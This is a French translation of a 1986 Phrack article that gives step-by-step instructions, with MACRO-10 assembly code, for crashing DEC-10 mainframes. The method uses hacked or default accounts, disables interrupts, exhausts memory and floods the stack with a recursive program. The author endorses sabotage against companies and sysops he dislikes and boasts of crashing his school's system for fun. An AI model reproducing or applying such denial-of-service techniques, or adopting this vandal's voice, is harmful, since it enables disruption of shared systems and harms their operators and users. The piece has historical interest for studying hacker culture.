Crashing DEC-10's

                                ==Phrack Inc.==

                    Volume Un, Édition Quatre, Article #6 sur 11

                               Crashing DEC-10's
                                 par The Mentor
                                   13-mars-86

        À l'occasion, le besoin de la destruction se fera sentir.
        Que ce soit contre un système tyranique, ou une compagnie
particulière, parfois, il est nécessaire de toucher au coeur de la compagnie
... leurs ordinateurs.
        Ce qui suit est une explication assez détaillée de comment arriver à
crasher un ordinateur DEC-10 qui fonctionne sous n'importe quel système.
L'utilisateur aura besoin de pouvoir créer et exécuter des fichiers de niveau
assembleur et de language de plus haut niveau, ainsi que d'avoir une bonne
connaissance pratique de la programmation.
        La première étape est d'obtenir un compte. Que ce soit un compte par
default comme 5,30 (GAMES) ou un compte piraté par une autre méthode, vous
devez avoir un accès au système. L'accès en super utilisateur n'est pas
nécessaire pour que cette méthode fonctionne de toute façon.
        Au coeur de tout serveur central, il y a l'unité centrale de
traitement (Central Processing Unit - CPU). Le CPU gère toutes les
instructions, allant les chercher en mémoire, les décodant et les exécutant.
Un DEC a ce qu'ils appellent un controleur DMA (Direct Memory Access) qui
fonctionne comme un petit CPU gérant toutes les entrées et sorties de la
mémoire et des périphériques, laissant le CPU libre d'exécuter des
instructions. On prendra l'avantage en l'utilisant pour crasher le système.
        Théorie : Le CPU dépend du controleur DMA pour gérer tous les accès
mémoires. Si le DMA peut être crashé, le CPU s'arrete et le sysop doit lancer
DSK:RAT pour restaurer tous les fichiers sur le système (un processus d'une
heure, mortel aux heures de pointes). On fera crasher le DMA en le
ralentissant incroyablement et en faisant déborder la pile du système.
        Pratique-
        Il y a une zone connue en tant que "Job Data Area" de l'octet 20 à 140
de la mémoire de l'utilisateur. Elle enregistre toutes les informations à
propos de la tâche en cours d'exécution. Chaque emplacement a un mnémonique de
6-bits qui commence par .JB dans chaque cas. Ils doivent être compris en tant
que symboles d'une table de référence externe.
        La plus haute adresse noyau disponible à l'utilisateur est enregistrée
à .JBREL dans la Job Data Area. Si vous tentez d'acceder à plus de noyau que
vous n'ête autorisé, vous allez recevoir une interruption et ça va crasher. La
première étape consiste à désactiver l'interruption. C'est fait en mettant le
bits 22 de AC à 1. Ce qu'on fait avec un masque comme suit :
        APRENB  AC
        MOVEI   AC,20000 (octal)
        L'interruption est maintenant désactivée. Ensuite, vous devez ceuillir
touts les noyaux systèmes disponibles. On ne peut pas le faire simplement en
bidouillant .JBREL. À la place, vous devez altérer AC (l'ACumulateur) pour
qu'il contienne la plus haute adresse désirée et ensuite, la placer dans
.JBREL. Ce qu'on fait avec la procédure suivante :
        CORE    AC,
TOP:    MOVE    AC,.JBREL##
        AOJA    AC,.+1
        CORE    AC,
        BRA     TOP
        Au début, incrémenter seulement de un parait un peut lent pour
récupérer les coeurs mais puisque c'est alloué par morceaux de 1K ou de 2K de
mots [NDT : words], on peut vite pomper un paquet de mémoire. (À la fin de ce
fichier, il  ya un programme d'exemple complet en MACRO-10 qui montre comment
augmenter le coeurs jusqu'à une certaine limite).
        Maintenant que nous avons tous les coeurs qu'on peut, le système déjà
un pied dans la tombe. C'est bien. Maintenant, on donne le coup de grâce. Vous
devriez déjà avoir préparé un programme très récursif. Le choix d'un language
porte autant vers le C ou le Pascal. Faites simplement un programme récursif
simple (les tours de Hanoï avec 100 anneaux, par exemple), et demandez au
système de l'exécuter.
        Ce qui va se passer, c'est que la pile du DMA va se remplir,
ralentissant encore un peut plus le système. Finalement, après entre 5 et 15
minutes (ça m'a toujours pris le max), vous récupérez un gentil beep et ...
        ;;OPSER- DEC SYSTEM-10 NOT RUNNING
        Je n'ai du le faire que sur trois système où les sysop m'avait
vraiment fait chier (je ne compte pas le système sur lequel je vais à l'école,
sur lequel je le fait chaque fois que je m'ennuie...). C'est le genre de
mesure extrême, mais qui peut être efficace.
        Le programme suivant est un exemple pour ceux qui ne sont pas familiés
avec l'assembleur MACRO-10.
32

START:  TITLE   SAMPLE
        MOVE    P,[IOWD  3,MEM]
        MOVE    [PUSHJ  P,PDLOV]
        MOVEM   .JBAPR##
        MOVEI   AC,600000
        APRENB  AC,
        SETZB   CT
        MOVEM   AC
        AOS
        PUSHJ   P,S1
        JRST    .-3
S1:     IDIVI   AC,10
        HRLM    N,(P)
        JUMPE   AC,.+3
        PUSHJ   P,S1
        SKIPA
        PUSHJ   P,S2
        HLRZ    N,(P)
        ADDI    N,60
        OUTCHR  N
        POPJ    P,
S2:     SOJG    CT,.+4
        OUTCHR  [15]
        OUTCHR  [12]
        MOVEI   CT,10
        MOVE    T,P
        OUTCHR  [40]
        AOBJN   T,.-1
        POPJ    P,
PDLOV:  PUSHJ   P,LIMIT
        SUB     P,[1,,0]
        JRSTF   @.JBTPC##
LIMIT:  CAIL    1000            ;CHANGEZ PAR CE QUE VOUS VOULEZ
        EXIT
        POPJ    P,
MEM:    BLOCK   10
        END     START

-----

[Traduit de l'anglais par TboWan pour arsouyes.org]